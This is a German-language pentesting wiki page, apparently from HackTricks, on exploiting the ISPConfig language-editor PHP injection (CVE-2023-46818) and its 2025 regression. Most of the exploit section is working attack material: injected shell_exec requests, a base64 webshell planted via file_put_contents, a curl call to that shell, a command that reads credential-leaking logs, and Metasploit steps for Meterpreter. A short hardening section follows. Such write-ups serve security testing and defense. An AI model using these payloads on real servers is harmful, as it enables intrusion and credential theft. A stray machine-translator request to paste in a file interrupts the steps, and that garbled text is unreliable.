ISPConfig

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Übersicht

ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Versionen enthielten eine Funktion zum Bearbeiten von Sprachdateien, die, wenn sie für den Super-Administrator aktiviert war, arbitrary PHP code injection über einen fehlerhaften Übersetzungseintrag erlaubte. Das kann zu RCE im Webserver-Kontext führen und, abhängig davon, wie PHP ausgeführt wird, zu privilege escalation.

Wichtige Standardpfade:

  • Webroot befindet sich häufig unter /var/www/ispconfig, wenn mit php -S oder über Apache/nginx bereitgestellt.
  • Admin UI erreichbar über den HTTP(S) vhost (manchmal nur an localhost gebunden; bei Bedarf SSH port-forward verwenden).

Tipp: Wenn das Panel lokal gebunden ist (z. B. 127.0.0.1:8080), weiterleiten:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Betroffen: ISPConfig bis 3.2.11 (behoben in 3.2.11p1)
  • Voraussetzungen:
  • Anmeldung mit dem eingebauten Superadmin-Konto admin (andere Rollen sind laut Hersteller nicht betroffen)
  • Language editor muss aktiviert sein: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Auswirkungen: Authentifizierter Admin kann beliebiges PHP injizieren, das in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Webkontext erreicht wird

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Manueller Exploit-Ablauf

  1. Open/create a language file to obtain CSRF tokens

Sende einen ersten POST, um das Formular zu initialisieren und parse die CSRF-Felder aus der HTML-Antwort (csrf_id, csrf_key). Beispiel Request-Pfad: /admin/language_edit.php.

  1. Inject PHP via records[] and save

Sende einen zweiten POST einschließlich der CSRF-Felder und eines bösartigen Übersetzungs-Eintrags. Minimal command-execution probes:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band-Test (ICMP beobachten):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Dateien schreiben und eine webshell ablegen

Verwende file_put_contents, um eine Datei unter einem webzugänglichen Pfad (z. B. admin/) zu erstellen:

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Schreibe dann eine einfache webshell, die base64 verwendet, um ungültige Zeichen im POST-Body zu vermeiden:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Bitte den Inhalt der Datei src/network-services-pentesting/pentesting-web/ispconfig.md hier einfügen oder die Datei hochladen — dann übersetze ich den relevanten englischen Text ins Deutsche unter Beibehaltung der Markdown-/HTML-Syntax.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Wenn PHP als root ausgeführt wird (z. B. via php -S 127.0.0.1:8080, gestartet von root), führt dies zu unmittelbarem root RCE. Andernfalls erhält man Codeausführung als Webserver-Benutzer.

2025 regression (ISPConfig 3.3.0 / 3.3.0p1)

Der Fehler im Spracheditor trat in 3.3.0/3.3.0p1 wieder auf und wurde in 3.3.0p2 behoben. Voraussetzungen sind unverändert (admin_allow_langedit und Admin-Login). Der gleiche Patch adressierte außerdem einen monitor XSS und weltweite lesbare rotierte Logs.

Hinweise:

  • In 3.3.0/3.3.0p1 können für alle lesbare, rotierte Logs unter /usr/local/ispconfig/interface/log/ Zugangsdaten leaken, wenn Debug-Logging aktiviert war:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit-Schritte entsprechen CVE-2023-46818; 3.3.0p2 fügt zusätzliche Prüfungen vor dem Editieren der Sprache hinzu.

Python PoC

Ein einsatzbereiter Exploit automatisiert Token-Handling und Payload-Delivery:

Beispielausführung:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit-Modul (veröffentlicht im Juli 2025)

Rapid7 hat exploit/linux/http/ispconfig_lang_edit_php_code_injection hinzugefügt, das admin_allow_langedit automatisch aktivieren kann, wenn das angegebene Admin-Konto system-config-Rechte hat.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Das Modul schreibt eine base64-encoded payload durch records[] und führt sie aus, wodurch ein PHP Meterpreter oder eine custom payload entsteht.

Härtung

  • Aktualisieren Sie auf 3.2.11p1 oder neuer für das ursprüngliche Problem und auf 3.3.0p2 oder neuer für die Regression 2025.
  • Deaktivieren Sie den language editor, sofern nicht unbedingt benötigt:
admin_allow_langedit=no
  • Vermeide, das Panel als root auszuführen; konfiguriere PHP-FPM oder den web server so, dass Privilegien reduziert werden
  • Erzwinge starke Authentifizierung für das standardmäßige admin-Konto

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks